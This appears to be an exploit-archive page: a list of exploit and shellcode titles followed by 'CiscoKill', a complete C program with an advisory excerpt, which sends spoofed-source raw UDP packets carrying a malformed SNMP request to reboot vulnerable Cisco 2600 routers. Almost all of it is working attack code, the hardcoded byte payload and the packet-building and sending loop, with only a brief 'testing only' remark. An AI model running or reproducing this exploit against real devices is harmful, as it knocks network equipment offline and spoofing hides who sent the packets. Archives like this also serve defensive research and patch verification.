
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
187 lines
No EOL
5.6 KiB
C
187 lines
No EOL
5.6 KiB
C
// source: https://www.securityfocus.com/bid/4132/info
|
|
|
|
Cisco products contain multiple vulnerabilities in handling of SNMP requests and traps. A general report for multiple vendors was initially published on February 12 (Bugtraq IDs 4088 and 4089), however more information is now available and a separate Bugtraq ID has been allocated for the Cisco Operating Systems and Appliances vulnerabilities.
|
|
|
|
It is reportedly possible for a remote attacker to create a denial of service condition by transmitting a malformed SNMP request to a vulnerable Cisco Operating System or Appliance. The affected device may reset, or require a manual reset to regain functionality.
|
|
|
|
/* This program send a spoofed snmpv1 get request that cause system reboot
|
|
on Cisco 2600 routers with IOS version 12.0(10)
|
|
|
|
Author : kundera@tiscali.it ... don't be lame use for testing only! ..:) */
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/udp.h>
|
|
#include <arpa/inet.h>
|
|
|
|
|
|
|
|
struct in_addr sourceip_addr;
|
|
struct in_addr destip_addr;
|
|
struct sockaddr_in dest;
|
|
|
|
struct ip *IP;
|
|
struct udphdr *UDP;
|
|
int p_number=1,sok,datasize,i=0;
|
|
|
|
char *packet,*source,*target;
|
|
char *packetck;
|
|
char *data,c;
|
|
|
|
char snmpkill[] =
|
|
"\x30\x81\xaf\x02\x01\x00\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x81"
|
|
"\xa1\x02\x02\x09\x28\x02\x01\x00\x02\x01\x00\x30\x81\x94\x30\x81"
|
|
"\x91\x06\x81\x8c\x4d\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
|
|
"\x25\x73\x25\x73\x25\x73\x81\xff\xff\xff\xff\xff\xff\xff\xff\x7f"
|
|
"\x05";
|
|
|
|
|
|
struct pseudoudp {
|
|
u_long ipsource;
|
|
u_long ipdest;
|
|
char zero;
|
|
char proto;
|
|
u_short length;
|
|
} *psudp;
|
|
|
|
|
|
in_cksum (unsigned short *ptr, int nbytes)
|
|
{
|
|
|
|
register long sum; /* assumes long == 32 bits */
|
|
u_short oddbyte;
|
|
register u_short answer; /* assumes u_short == 16 bits */
|
|
|
|
/*
|
|
* Our algorithm is simple, using a 32-bit accumulator (sum),
|
|
* we add sequential 16-bit words to it, and at the end, fold back
|
|
* all the carry bits from the top 16 bits into the lower 16 bits.
|
|
*/
|
|
|
|
sum = 0;
|
|
while (nbytes > 1)
|
|
{
|
|
sum += *ptr++;
|
|
nbytes -= 2;
|
|
}
|
|
|
|
/* mop up an odd byte, if necessary */
|
|
if (nbytes == 1)
|
|
{
|
|
oddbyte = 0; /* make sure top half is zero */
|
|
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
|
|
sum += oddbyte;
|
|
}
|
|
|
|
/*
|
|
* Add back carry outs from top 16 bits to low 16 bits.
|
|
*/
|
|
|
|
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
|
|
sum += (sum >> 16); /* add carry */
|
|
answer = ~sum; /* ones-complement, then truncate to 16 bits */
|
|
return (answer);
|
|
}
|
|
|
|
|
|
void usage (void)
|
|
{
|
|
printf("Kundera CiscoKill v1.0\n");
|
|
printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target \n");
|
|
}
|
|
|
|
|
|
|
|
int main(int argc,char **argv){
|
|
|
|
if (argc < 2){
|
|
usage();
|
|
exit(1);
|
|
}
|
|
|
|
while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
|
|
switch(c) {
|
|
case 's': source=optarg; break;
|
|
case 'n': p_number=atoi(optarg); break;
|
|
case 't': target=optarg;
|
|
}
|
|
}
|
|
|
|
if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
|
|
{
|
|
printf("Can't create socket.\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
destip_addr.s_addr=inet_addr(target);
|
|
sourceip_addr.s_addr=inet_addr(source);
|
|
|
|
datasize=sizeof(snmpkill);
|
|
|
|
packet = ( char * )malloc( 20 + 8 + datasize );
|
|
|
|
IP = (struct ip *)packet;
|
|
|
|
memset(packet,0,sizeof(packet));
|
|
|
|
IP->ip_dst.s_addr = destip_addr.s_addr;
|
|
IP->ip_src.s_addr = sourceip_addr.s_addr;
|
|
IP->ip_v = 4;
|
|
IP->ip_hl = 5;
|
|
IP->ip_ttl = 245;
|
|
IP->ip_id = htons(666);
|
|
IP->ip_p = 17;
|
|
IP->ip_len = htons(20 + 8 + datasize);
|
|
IP->ip_sum = in_cksum((u_short *)packet,20);
|
|
|
|
|
|
UDP = (struct udphdr *)(packet+20);
|
|
UDP->source = htons(666);
|
|
UDP->dest = htons(161);
|
|
UDP->len = htons(8+datasize);
|
|
UDP->check = 0;
|
|
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
|
|
bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
|
|
psudp = (struct pseudoudp *) (packetck);
|
|
psudp->ipdest = destip_addr.s_addr;
|
|
psudp->ipsource = sourceip_addr.s_addr;
|
|
psudp->zero = 0;
|
|
psudp->proto = 17;
|
|
psudp->length = htons(8+datasize);
|
|
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
|
|
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
|
|
|
|
UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));
|
|
|
|
data = (unsigned char *)(packet+20+8);
|
|
memcpy(data,snmpkill,datasize);
|
|
|
|
dest.sin_family=AF_INET;
|
|
dest.sin_addr.s_addr=destip_addr.s_addr;
|
|
|
|
while (i<p_number)
|
|
{
|
|
if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0)
|
|
{
|
|
printf("Error sending packet.\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
i++;
|
|
|
|
}
|
|
printf("%d packets sent.\n",i);
|
|
|
|
} |